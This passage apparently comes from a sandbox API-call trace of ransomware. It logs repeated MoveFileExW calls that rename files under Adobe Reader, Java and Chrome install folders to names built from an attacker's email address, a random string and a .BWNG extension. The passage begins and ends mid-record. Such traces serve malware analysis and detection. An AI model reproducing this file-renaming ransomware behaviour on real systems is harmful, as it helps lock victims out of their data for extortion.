lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25304542930) returned 1 [0111.093] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can129.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can129.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].IY0SItIn-IlwKuSvW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].iy0sitin-ilwkusvw.bwng"), dwFlags=0x1) returned 1 [0111.095] GetTickCount () returned 0x11636e9 [0111.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25304693764) returned 1 [0111.095] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].pjKjUrrq-10RYeAtU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].pjkjurrq-10ryeatu.bwng"), dwFlags=0x1) returned 1 [0111.096] GetTickCount () returned 0x11636e9 [0111.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25304834366) returned 1 [0111.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\[billwong73@yahoo.com].G3nUBlIf-U5qDz8jN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\[billwong73@yahoo.com].g3nublif-u5qdz8jn.bwng"), dwFlags=0x1) returned 1 [0111.098] GetTickCount () returned 0x11636e9 [0111.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25304991527) returned 1 [0111.098] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].pQSKjdcq-3jAlvZKj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].pqskjdcq-3jalvzkj.bwng"), dwFlags=0x1) returned 1 [0111.099] GetTickCount () returned 0x11636e9 [0111.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25305155476) returned 1 [0111.100] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\[billwong73@yahoo.com].df6cudum-okUW9atn.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\[billwong73@yahoo.com].df6cudum-okuw9atn.bwng"), dwFlags=0x1) returned 1 [0111.101] GetTickCount () returned 0x11636e9 [0111.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25305340182) returned 1 [0111.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\[billwong73@yahoo.com].yWax0wQn-os6Etpwn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\[billwong73@yahoo.com].ywax0wqn-os6etpwn.bwng"), dwFlags=0x1) returned 1 [0111.103] GetTickCount () returned 0x11636e9 [0111.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25305506350) returned 1 [0111.103] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].7Z1aBqMz-hxRUfJCF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].7z1abqmz-hxrufjcf.bwng"), dwFlags=0x1) returned 1 [0111.104] GetTickCount () returned 0x11636f9 [0111.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25305671373) returned 1 [0111.105] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].tBYEJWkW-BQLK3dGd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].tbyejwkw-bqlk3dgd.bwng"), dwFlags=0x1) returned 1 [0111.106] GetTickCount () returned 0x11636f9 [0111.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25305822961) returned 1 [0111.106] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].sfW7vzCN-tMgVqqTS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].sfw7vzcn-tmgvqqts.bwng"), dwFlags=0x1) returned 1 [0111.107] GetTickCount () returned 0x11636f9 [0111.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25305954701) returned 1 [0111.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].BTXajgDr-oK1w09B0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].btxajgdr-ok1w09b0.bwng"), dwFlags=0x1) returned 1 [0111.109] GetTickCount () returned 0x11636f9 [0111.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25306106835) returned 1 [0111.109] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\[billwong73@yahoo.com].AlZFsTcW-5qHfnfIl.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\[billwong73@yahoo.com].alzfstcw-5qhfnfil.bwng"), dwFlags=0x1) returned 1 [0111.110] GetTickCount () returned 0x11636f9 [0111.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25306247824) returned 1 [0111.110] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\[billwong73@yahoo.com].ZpTS36O9-sW9jm7jy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\[billwong73@yahoo.com].zpts36o9-sw9jm7jy.bwng"), dwFlags=0x1) returned 1 [0111.112] GetTickCount () returned 0x11636f9 [0111.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25306431760) returned 1 [0111.112] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].k3bH8s1l-Iz1dqlof.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].k3bh8s1l-iz1dqlof.bwng"), dwFlags=0x1) returned 1 [0111.113] GetTickCount () returned 0x11636f9 [0111.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25306564361) returned 1 [0111.114] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].XkElioTX-sjuvnWSR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].xkeliotx-sjuvnwsr.bwng"), dwFlags=0x1) returned 1 [0111.115] GetTickCount () returned 0x11636f9 [0111.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25306712168) returned 1 [0111.115] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].6FVAuhnq-FnzWd7WY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].6fvauhnq-fnzwd7wy.bwng"), dwFlags=0x1) returned 1 [0111.388] GetTickCount () returned 0x1163811 [0111.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25334003816) returned 1 [0111.713] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].yOwZTCTo-nUlz4AjS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].yowztcto-nulz4ajs.bwng"), dwFlags=0x1) returned 1 [0111.714] GetTickCount () returned 0x1163959 [0111.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25366646990) returned 1 [0111.715] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].owFsUPQ1-VqFDeS2f.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].owfsupq1-vqfdes2f.bwng"), dwFlags=0x1) returned 1 [0111.716] GetTickCount () returned 0x1163959 [0111.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25366813767) returned 1 [0111.716] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].wpOgjaKx-VLQopJ4l.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].wpogjakx-vlqopj4l.bwng"), dwFlags=0x1) returned 1 [0111.717] GetTickCount () returned 0x1163959 [0111.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25366961297) returned 1 [0111.718] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].AVp2X51j-vGd4hKke.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].avp2x51j-vgd4hkke.bwng"), dwFlags=0x1) returned 1 [0111.719] GetTickCount () returned 0x1163959 [0111.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367090573) returned 1 [0111.719] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn93.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn93.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].jrhHPoHW-rmqUBs6B.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].jrhhpohw-rmqubs6b.bwng"), dwFlags=0x1) returned 1 [0111.720] GetTickCount () returned 0x1163959 [0111.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367224570) returned 1 [0111.720] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].6FBsfaUP-5DlYL1ap.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].6fbsfaup-5dlyl1ap.bwng"), dwFlags=0x1) returned 1 [0111.721] GetTickCount () returned 0x1163959 [0111.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367360735) returned 1 [0111.722] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Q7cogy3y-Jfdm9mI9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].q7cogy3y-jfdm9mi9.bwng"), dwFlags=0x1) returned 1 [0111.723] GetTickCount () returned 0x1163959 [0111.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367503215) returned 1 [0111.723] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].7w92v7Dc-kNKuNsuW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].7w92v7dc-knkunsuw.bwng"), dwFlags=0x1) returned 1 [0111.724] GetTickCount () returned 0x1163959 [0111.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367643905) returned 1 [0111.724] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\el.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].RbOpPZ79-tcYVRKHS.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].rboppz79-tcyvrkhs.bwng"), dwFlags=0x1) returned 1 [0111.726] GetTickCount () returned 0x1163959 [0111.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367790424) returned 1 [0111.726] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\gu.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].Nq3UZR5F-DjBD5aNT.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].nq3uzr5f-djbd5ant.bwng"), dwFlags=0x1) returned 1 [0111.727] GetTickCount () returned 0x1163959 [0111.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25367942987) returned 1 [0111.727] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\lt.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].PXG4flZk-zCMVuJSD.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].pxg4flzk-zcmvujsd.bwng"), dwFlags=0x1) returned 1 [0111.729] GetTickCount () returned 0x1163969 [0111.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25368093091) returned 1 [0111.729] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ro.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].UE1pHKyY-7VeURrJz.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ue1phkyy-7veurrjz.bwng"), dwFlags=0x1) returned 1 [0111.789] GetTickCount () returned 0x1163997 [0111.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25374132400) returned 1 [0111.789] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\tr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].YVhX1lAd-BxilwBGt.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].yvhx1lad-bxilwbgt.bwng"), dwFlags=0x1) returned 1 [0111.791] GetTickCount () returned 0x11639a7 [0111.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25374336526) returned 1 [0111.791] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\[billwong73@yahoo.com].tdfQIimk-AijkMx7X.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\[billwong73@yahoo.com].tdfqiimk-aijkmx7x.bwng"), dwFlags=0x1) returned 1 [0111.920] GetTickCount () returned 0x1163a24 [0111.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25387260939) returned 1 [0111.921] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\[billwong73@yahoo.com].SLteW0WB-Vst2KTVL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\[billwong73@yahoo.com].sltew0wb-vst2ktvl.bwng"), dwFlags=0x1) returned 1 [0111.924] GetTickCount () returned 0x1163a24 [0111.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25387653380) returned 1 [0111.925] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\kinit.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\kinit.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].uXcAf2iE-moepDLiW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].uxcaf2ie-moepdliw.bwng"), dwFlags=0x1) returned 1 [0111.926] GetTickCount () returned 0x1163a24 [0111.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25387819549) returned 1 [0111.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Eirunepe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\eirunepe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].6vlGcM4m-cJi2tBlJ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].6vlgcm4m-cji2tblj.bwng"), dwFlags=0x1) returned 1 [0111.928] GetTickCount () returned 0x1163a24 [0111.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25388000608) returned 1 [0111.928] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guayaquil" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guayaquil"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].mNiU20A0-UjGfzyZg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].mniu20a0-ujgfzyzg.bwng"), dwFlags=0x1) returned 1 [0111.931] GetTickCount () returned 0x1163a33 [0111.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25388347815) returned 1 [0111.931] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Vevay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\vevay"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].YSDgZAgZ-huvJXR5f.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].ysdgzagz-huvjxr5f.bwng"), dwFlags=0x1) returned 1 [0111.933] GetTickCount () returned 0x1163a33 [0111.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25388517602) returned 1 [0111.933] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Lima" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\lima"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].OviTfG0R-3eUhrw0j.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ovitfg0r-3euhrw0j.bwng"), dwFlags=0x1) returned 1 [0111.935] GetTickCount () returned 0x1163a33 [0111.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25388685135) returned 1 [0111.935] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Metlakatla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\metlakatla"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].gClVW3um-2Cx6rF2C.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].gclvw3um-2cx6rf2c.bwng"), dwFlags=0x1) returned 1 [0111.936] GetTickCount () returned 0x1163a33 [0111.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25388818370) returned 1 [0111.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nipigon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\nipigon"), lpNewFileName="C:\\Program Files 